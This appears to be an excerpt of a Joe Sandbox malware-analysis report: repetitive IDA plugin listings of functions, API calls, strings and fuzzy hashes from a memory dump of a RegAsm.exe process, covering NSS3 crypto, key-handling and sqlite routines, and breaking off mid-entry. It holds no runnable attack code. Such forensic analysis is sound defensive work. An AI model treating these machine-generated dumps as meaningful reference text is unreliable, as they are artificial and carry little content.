askpw, xrefs: 6C474A4A

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: isspace$Valuefree$L_strncasecmp$Alloc_ParamParameterSkipUtil$FetchL_strcasecmpstrlen$ArenaDecodeFlagsLongNumberParseReadSlotmemsetstrcpystrncpy
String ID: askpw$every$hasRootCerts$hasRootTrust$rootFlags$slotFlags$timeout
API String ID: 3791087267-1256704202
Opcode ID: a4962ce668681ed7ace18b89534153d983b728fd8741ea2955c1fec201909719
Instruction ID: f7485935756f2a5817ccbc6cb3ac7c7586d9fb76cefb96a11c4f60142ac961d9
Opcode Fuzzy Hash: a4962ce668681ed7ace18b89534153d983b728fd8741ea2955c1fec201909719
Instruction Fuzzy Hash: 78C1F3B4E052559BEF20CF799C40FFE7BB8AF06289F151029E855A7B01E321A914CFB1

Function 6C436D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C53A8EC,0000006C), ref: 6C436DC6
memcpy.VCRUNTIME140(?,6C53A958,0000006C), ref: 6C436DDB
memcpy.VCRUNTIME140(?,6C53A9C4,00000078), ref: 6C436DF1
memcpy.VCRUNTIME140(?,6C53AA3C,0000006C), ref: 6C436E06
memcpy.VCRUNTIME140(?,6C53AAA8,00000060), ref: 6C436E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C436E38

Part of subcall function 6C4BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C4BC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C436E76
TlsGetValue.KERNEL32 ref: 6C43726F
EnterCriticalSection.KERNEL32(?), ref: 6C437283

Strings

!, xrefs: 6C437123

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 94879cbeb70d9f570d4af008e09d23fa62bc497c8d79f17a27476b3cd9198423
Instruction ID: 0ecd4af2dd6dd9defee8f4d953e6fd71af6858bd2e71397acd64822af39fe2ae
Opcode Fuzzy Hash: 94879cbeb70d9f570d4af008e09d23fa62bc497c8d79f17a27476b3cd9198423
Instruction Fuzzy Hash: 6C728E75D05229DBDF20CF29CC88F9ABBB5BB89304F1041A9D84DA7741E731AA85CF90

Function 6C47AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C47ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C47ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C47ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C47AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C47ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C47ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C47ADF0

Part of subcall function 6C4BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C4BC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C47B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C47B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C47B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C47B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C47B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C47B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C47B40C

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: f6f7623adb051d908f15c94febff5dac2de523a29ad76df36681374bbd29e6ba
Instruction ID: adb83bd52a6f7d9da4c2c762bd50cf3750831af362e2ebdbaf2a96d4c24c14d3
Opcode Fuzzy Hash: f6f7623adb051d908f15c94febff5dac2de523a29ad76df36681374bbd29e6ba
Instruction Fuzzy Hash: 8F227D71904301AFE720CF14CC85F9A77E1AF8430CF24896CE9595B792E772E859CBA6

Function 6C3FECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C3FED38

Part of subcall function 6C394F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C394FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C3FEF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C3FEFE4

Part of subcall function 6C4BDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C395001,?,00000003,00000000), ref: 6C4BDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C3FF087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C3FF129
sqlite3_mprintf.NSS3(optimize), ref: 6C3FF1D1
sqlite3_free.NSS3(?), ref: 6C3FF368

Strings

fts3_tokenizer, xrefs: 6C3FEE1A, 6C3FEEA8
fts3tokenize, xrefs: 6C3FF30F
optimize, xrefs: 6C3FF199, 6C3FF1CC, 6C3FF211
fts4aux, xrefs: 6C3FECF9
simple, xrefs: 6C3FED79
fts4, xrefs: 6C3FF2AD
snippet, xrefs: 6C3FEF05, 6C3FEF37, 6C3FEF7C
fts3, xrefs: 6C3FF247
matchinfo, xrefs: 6C3FF04F, 6C3FF082, 6C3FF0C2, 6C3FF0F2, 6C3FF124, 6C3FF169
unicode61, xrefs: 6C3FEDB5
porter, xrefs: 6C3FED97
offsets, xrefs: 6C3FEFAF, 6C3FEFDF, 6C3FF01F

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: ad11c2ca6c9dfa182bfe1161247a3eede7c2f462ddca338f1ed97b4edac4f1dd
Instruction ID: d6b8739a24371e946ec10a3ba9a42bc20142fd3138ee62951753fd24d5e56247
Opcode Fuzzy Hash: ad11c2ca6c9dfa182bfe1161247a3eede7c2f462ddca338f1ed97b4edac4f1dd
Instruction Fuzzy Hash: 9C02D275B043015BE7049E759C8573B36E17BC9308F19893DD8AA87B10FB75E846CB92

Function 6C40EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C40EF63

Part of subcall function 6C4187D0: PORT_NewArena_Util.NSS3(00000800,6C40EF74,00000000), ref: 6C4187E8
Part of subcall function 6C4187D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C40EF74,00000000), ref: 6C4187FD
Part of subcall function 6C4187D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C41884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C40F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C40F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C40F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C40F374
PL_strcasecmp.NSS3(6C552FD4,?), ref: 6C40F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C40F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C40F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C40F67D
CERT_DestroyName.NSS3(?), ref: 6C40F68B

Part of subcall function 6C418320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C418338
Part of subcall function 6C418320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C418364
Part of subcall function 6C418320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C41838E
Part of subcall function 6C418320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4183A5
Part of subcall function 6C418320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4183E3

Part of subcall function 6C4184C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C4184D9
Part of subcall function 6C4184C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C418528

Part of subcall function 6C418900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C40F599,?,00000000), ref: 6C418955

Strings

oid., xrefs: 6C40F2CF
*, xrefs: 6C40F3C6
", xrefs: 6C40F21B

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 5c8ce4354391cffb5f9e5c90e07e7c01f1403b8d774b9dc98248bacb257a6114
Instruction ID: 85a1fc6d17b78ca547c3ccf8699aa9ef47d4c4839bec589e6f3019a6a271dc30
Opcode Fuzzy Hash: 5c8ce4354391cffb5f9e5c90e07e7c01f1403b8d774b9dc98248bacb257a6114
Instruction Fuzzy Hash: 3F222A7174E3414BF314CF28C490F6AB7E5AB85369F184A3EE8D587B91E7319C06878A

Function 6C47EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C47C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C47DAE2,?), ref: 6C47C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C47F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C47F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C47F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C47F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C54218C), ref: 6C47F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C47F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C47F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C47F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C47F210

Part of subcall function 6C4252D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C47F1E9,?,00000000,?,?), ref: 6C4252F5
Part of subcall function 6C4252D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C42530F
Part of subcall function 6C4252D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C425326
Part of subcall function 6C4252D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C47F1E9,?,00000000,?,?), ref: 6C425340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C47F227

Part of subcall function 6C46FAB0: free.MOZGLUE(?,-00000001,?,?,6C40F673,00000000,00000000), ref: 6C46FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C47F23E

Part of subcall function 6C46BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C41E708,00000000,00000000,00000004,00000000), ref: 6C46BE6A
Part of subcall function 6C46BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C4204DC,?), ref: 6C46BE7E
Part of subcall function 6C46BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C46BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C47F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C47F3A8

Part of subcall function 6C4BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C4BC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C47F3B3

Part of subcall function 6C422D20: PK11_DestroyObject.NSS3(?,?), ref: 6C422D3C
Part of subcall function 6C422D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C422D5F

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: f2202ba3e99ab1cf6eb8bcba585de1b60a00663cb6955442445264ccd44db80e
Instruction ID: 57a7d4e2ea47841fe530ee9149b7edfdd354383a75ff620670df6d55d3c22d0c
Opcode Fuzzy Hash: f2202ba3e99ab1cf6eb8bcba585de1b60a00663cb6955442445264ccd44db80e
Instruction Fuzzy Hash: E2D16075E026059FEB24CFA9D880EDEB7F5EF48309F158129D915A7B11EB31E805CBA0

Function 6C39ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C39ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C39EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C39EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C39EF98

Strings

database corruption, xrefs: 6C39F48D
%s at line %d of [%.10s], xrefs: 6C39F492
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C39F483

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 4601c08a1c70b878c9f0e75d354ee6e229a6dc19a1748c8e113eeadca5baf34c
Instruction ID: 6eb93f0b8ec653582a4a0997e2a77e79996486027a5861e729617054db4ba46a
Opcode Fuzzy Hash: 4601c08a1c70b878c9f0e75d354ee6e229a6dc19a1748c8e113eeadca5baf34c
Instruction Fuzzy Hash: 9362E375A04345CFEB04CF64C884BAABBB1BF4931CF184159E8455BB92E736E886CF91

Function 6C3AAEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C4CCF46,?,6C39CDBD,?,6C4CBF31,?,?,?,?,?,?,?), ref: 6C3AB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C4CCF46,?,6C39CDBD,?,6C4CBF31), ref: 6C3AB090
sqlite3_free.NSS3(?,?,?,?,?,?,6C4CCF46,?,6C39CDBD,?,6C4CBF31), ref: 6C3AB0A2
CloseHandle.KERNEL32(?,?,6C4CCF46,?,6C39CDBD,?,6C4CBF31,?,?,?,?,?,?,?,?,?), ref: 6C3AB100
sqlite3_free.NSS3(?,?,00000002,?,6C4CCF46,?,6C39CDBD,?,6C4CBF31,?,?,?,?,?,?,?), ref: 6C3AB115
sqlite3_free.NSS3(?,?,?,?,?,?,6C4CCF46,?,6C39CDBD,?,6C4CBF31), ref: 6C3AB12D

Part of subcall function 6C399EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C3AC6FD,?,?,?,?,6C3FF965,00000000), ref: 6C399F0E
Part of subcall function 6C399EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C3FF965,00000000), ref: 6C399F5D

Strings

`Rl, xrefs: 6C3AB0DF

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `Rl
API String ID: 3155957115-1470947293
Opcode ID: 61f93611be5f8319f36ba563bf79eccae96bff7e13fb31cbb209029dc8ddabb0
Instruction ID: 7e74f4e7c45c079a386b096acb006834b4aae8ac237e328908e31bba6f927f6b
Opcode Fuzzy Hash: 61f93611be5f8319f36ba563bf79eccae96bff7e13fb31cbb209029dc8ddabb0
Instruction Fuzzy Hash: F691C1B1A042058FDB08CFA5CC84A7BB7B1FF45308F15462DD4569BA60E731E8A6CFA1

Function 6C440EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C440F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C440FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C441006
PK11_FreeSymKey.NSS3(?), ref: 6C44101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C441033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C44103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C441048
memcpy.VCRUNTIME140(?,?,?), ref: 6C44108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C4410BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C4410D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C44112E

Part of subcall function 6C441570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C4408C4,?,?), ref: 6C4415B8
Part of subcall function 6C441570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C4408C4,?,?), ref: 6C4415C1
Part of subcall function 6C441570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C44162E
Part of subcall function 6C441570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C441637

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 6df849f719a8ae618cb3396edd072cc53f85ff1051398bb79b1c223c7231d757
Instruction ID: 8b7d7fe444e9ceddb091fb25a11b8a547e07015db6d01c60ed6b941f6d97c855
Opcode Fuzzy Hash: 6df849f719a8ae618cb3396edd072cc53f85ff1051398bb79b1c223c7231d757
Instruction Fuzzy Hash: EA71EFB1A00205CFEB04CFA5CD80E6AB7B1FF4831AF24862DE90997B11E771D965CB90

Function 6C3A0FE0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C39CA30: EnterCriticalSection.KERNEL32(?,?,?,6C3FF9C9,?,6C3FF4DA,6C3FF9C9,?,?,6C3C369A), ref: 6C39CA7A
Part of subcall function 6C39CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C39CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C3A103E
EnterCriticalSection.KERNEL32(?), ref: 6C3A1139
LeaveCriticalSection.KERNEL32(?), ref: 6C3A1190
sqlite3_free.NSS3(00000000), ref: 6C3A1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C3A126E
sqlite3_free.NSS3(?), ref: 6C3A127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6C3A1267
PRl, xrefs: 6C3A109E
winAccess, xrefs: 6C3A129B

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: PRl$delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-611644319
Opcode ID: 0217cc6108118655caed6740664a2168d40d4b877a7484284e1ab60755281419
Instruction ID: 31a3c630dd2d986037c4ff71d27e77794cb9bddc2b56e46331467232234489bb
Opcode Fuzzy Hash: 0217cc6108118655caed6740664a2168d40d4b877a7484284e1ab60755281419
Instruction Fuzzy Hash: 80712C31705211DFEB04DFA9DC49A7A3375FB86328F150229E8158BA90EB31D852CFE6

Function 6C466C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C411C6F,00000000,00000004,?,?), ref: 6C466C3F

Part of subcall function 6C4BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C4BC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C411C6F,00000000,00000004,?,?), ref: 6C466C60
PR_ExplodeTime.NSS3(00000000,6C411C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C411C6F,00000000,00000004,?,?), ref: 6C466C94

Strings

gfff, xrefs: 6C466D66
gfff, xrefs: 6C466CFD
gfff, xrefs: 6C466CF5
gfff, xrefs: 6C466D30
gfff, xrefs: 6C466D9C

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

